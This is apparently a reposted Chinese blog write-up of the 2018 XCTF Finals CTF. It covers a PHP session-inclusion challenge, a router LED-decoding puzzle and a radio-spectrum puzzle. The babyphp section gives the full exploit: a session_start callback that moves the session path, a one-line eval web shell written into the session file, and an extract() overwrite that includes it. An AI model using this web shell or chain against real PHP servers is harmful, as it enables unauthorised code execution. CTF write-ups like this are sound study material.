2018 XCTF FINALS

2023-12-17 15:59
文章标签 2018 xctf finals

本文主要是介绍2018 XCTF FINALS,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

欢迎关注我的新博客: http://mmmmmmlei.cn
有幸参加了 2018 XCTF FINALS,线下长了不少见识。回学校就打了上海市大学生网络安全竞赛,现在记录一下 XCTF FINALS。

攻防赛四道 pwn,Web 狗也只能打打解题这样子…

解题有 5 道 Misc,2 道 Web 和 4 道 pwn,和队友做出了两道 Misc ,一道 Web 和两道 pwn。不得不说这次的 Misc 很新颖,加入了硬件的挑战,有两道题是通过给的路由器来拿 flag,还有核弹遥控器密码和无线频谱的题,自己太菜了,学不动…

Web

babyphp

这个题做的时候好像被人搅屎了,思路很清晰但是打不成功。。。后来找麦香师傅要了 docker,复现了一波就成了emmmmmm 有点可惜。

题目源码:

<?phphighlight_file(__FILE__);error_reporting(0);ini_set('open_basedir', '/var/www/html:/tmp');$file = 'function.php';$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET);include($file);session_start();$_SESSION['name'] = $_POST['name'];if($_SESSION['name']=='admin'){header('location:admin.php');}
?>

限定了包含的目录,有回调函数可以执行函数,session 的内容可以通过 name 控制。

开始没有 get 到出题人的点,这种没有给任何 flag 信息的题应该就是 getshell了。开始一直纠结于回调函数第二个参数是数组如何利用,后来才知道这个题考点是php7 + session 路径 + 变量覆盖

name 可以控制 session 文件的内容,那么要把马写到 session 文件中去。然而 php 默认的 session 存储存储路径显然不在限定的/var/www/html 和 /tmp 中,我们无法包含,也就无法利用。

这里用到了 php7 的一个新特性,从 php7 开始,session_start 函数可以接收一个关联数组,可以覆盖 php.ini 文件中的默认配置,详细可见官方文档 。

image.png

我们可以利用这个特点修改 session 的存放位置,payload:

?function=sesson_start&save_path=/tmp

同时 post name 参数,把马写入 session 文件:

name=<?php @eval($_POST['gml']);?>

这样就把马写入了 session 文件里。(注意,php.ini 中设置 session 文件存储位置的变量是 session.save_path,payload 里不需要加 session. 加的话 . 也会被替换成 _,因为 php 规定变量名是不可以带 . 的,坑了我好久)

那么如何包含我们写的马呢? 代码里有个 include($file); ,这里需要通过 extract 函数覆盖 file 变量,包含我们写的马,session 文件的命名为sess_PHPSESSID 所以通过下面的 payload 执行代码:

?function=extract&file=/tmp/sess_bl0ur0r6ni8ioq5mqggr3sh5h5

image.png

发现执行命令成功:

image.png

然后就是读 flag 了,拿蚁剑连一下:

image.png

PUBG

这道题是之前 2018 HITB GSEC FINAL 的 AWD 一道题的环境做了一些修改,当时我也去了现场,虽然没有打 AWD (打的解题)但是听了出题师傅 RicterZ 在新加坡国立大学的出题分享,照着差不多算是 wp 的 ppt 复现题目可还行…

这个题比较麻烦,源码泄露-> ZEND解密 -> sql 注入-> 伪造 cookie 进管理员 -> 控制 curl 的内容写 shell,具体可以参考 De1ta 的 Web 大师傅的 wp

Misc

Budge1

Budge1 和 Budge2 是需要根据给的路由器拿 flag。

Budge1 相对简单,Budge2 是拿到管理员的 shell,登进去管理员页面看 flag,还要焊接的操作,只可惜当时做的时候没有硬件了。。。

Budge1 踩了坑,题目没给提示,还以为要抓包,连上网线分析了半天流量也没什么发现,然后出题人前面说 Budge1 是读灯的信息,才发现硬件有灯闪烁,应该是二进制的信息。两个灯可以闪烁,分别对应 0 和 1,连起来 hex 解码是 hitb2018 ,然后怎么交也不对,提示说各种编码,hex 编码就过了…

Mysterious signals

hint:无线射频频谱 radio frequency spectrum

使用 Audacity 导入数据(文件 -> 导入 -> 原始数据),查看频谱:

image.png

感受

见识了许多国内强队,Nu1lL 的师傅们就坐在对面… 还有 0ops,天枢等强队,r3kapig 的师傅们 tql。

Web 狗打不成攻防,肝了两天的解题,硬件的 Misc 题还是挺有趣的,第一天晚上回去肝核弹遥控器密码那个 Misc,只可惜没找到正确的工具分析,两天睡了 3 个多小时也是比较疲惫,不过酒店和队友一起肝的感觉也很好,有时候比赛结果并不是最重要的,重要的是有和你一起肝的兄弟们和朋友。

这篇关于2018 XCTF FINALS的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/504958

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2018秋招C/C++面试题总结

博主从8月中旬开始大大小小面试了十几家公司,至今也许是告一段落吧,希望后面会有好结果,因此总结记录一些C/C++方向常见的问题。和大家一起学习! 参考了互联网的各种资源,自己尝试归类整理,谢谢~ 一、C和C++的区别是什么? C是面向过程的语言,C++是在C语言的基础上开发的一种面向对象编程语言,应用广泛。 C中函数不能进行重载,C++函数可以重载 C++在C的基础上增添类,C是一个结构

大厂算法例题解之网易2018秋招笔试真题 (未完)

1、字符串碎片 【题目描述】一个由小写字母组成的字符串可以看成一些同一字母的最大碎片组成的。例如,“aaabbaaac” 是由下面碎片组成的:‘aaa’,‘bb’,‘c’。牛牛现在给定一个字符串,请你帮助计算这个字符串的所有碎片的 平均长度是多少。 输入描述: 输入包括一个字符串 s,字符串 s 的长度 length(1 ≤ length ≤ 50),s 只含小写字母(‘a’-‘z’) 输出描述

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间 方法1 import datetimeorigin_date_str= "2019-07-26T08:20:54Z"utc_date = datetime.datetime.strptime(origin_date_str, "%Y-%m-%dT%H:%M:%SZ")loca

2018年年终体会~

说下最近的一件事情:2018年12月08日华为云培训云原生课程,我坚持了两周,中间休假了,回来就忘记了。错过了一天的打开。这次21天的云原生课程彻底失败。反思后,不是我不想学习,也不是我没有毅力,而是人总是容器在平凡中失去自己,失去自己的目标,就像《千与千寻》中一样,慢慢的生活磨砺自己,慢慢的平淡消耗你自己,你自己都忘记了,自己是为了什么,每年都会给自己立flag,可是很难坚持下去,就

2018Java高级工程师面试总结

2018Java高级工程师面试总结 java高级 2018-10-11 15:11:42 面试的岗位是Java后台开发,面的公司不多,主要有美团点评-网易-网易有道-携程-华为-中兴-科大讯飞-烽火通信这些公司。从前到后简单记录了自己面试时候遇到的问题,以及对面试给了一点点小的建议,给明年甚至以后的师弟师妹们一些参考。欢迎各位朋友一起交流。 关注我:私信回复“架构资料”获取往期Java高级架

NLP-预训练模型-2018:Bert字典

参考资料: 我的BERT!改改字典,让BERT安全提速不掉分(已开源)

2018中国金融科技竞争力100强榜单

2018--金融科技--榜单  2018--金融科技--评价标准   参考地址:https://biz.ifeng.com/a/20180630/45044607_0.shtml

《python语言程序设计》2018版第8章第5题特定字符的出现次数 使用下面的函数头,统计一个特定的不重叠的字符串在另一个字符串中出现的次数

我感觉我答的不对,应该和题有点偏差 def count(text_input1, text_input2, ch):a = str(text_input1)b = str(text_input2)count_num_1 = 0count_num_2 = 0if ch in a and ch in b:if ch in a:count_num_1 += 1if ch in b:count_nu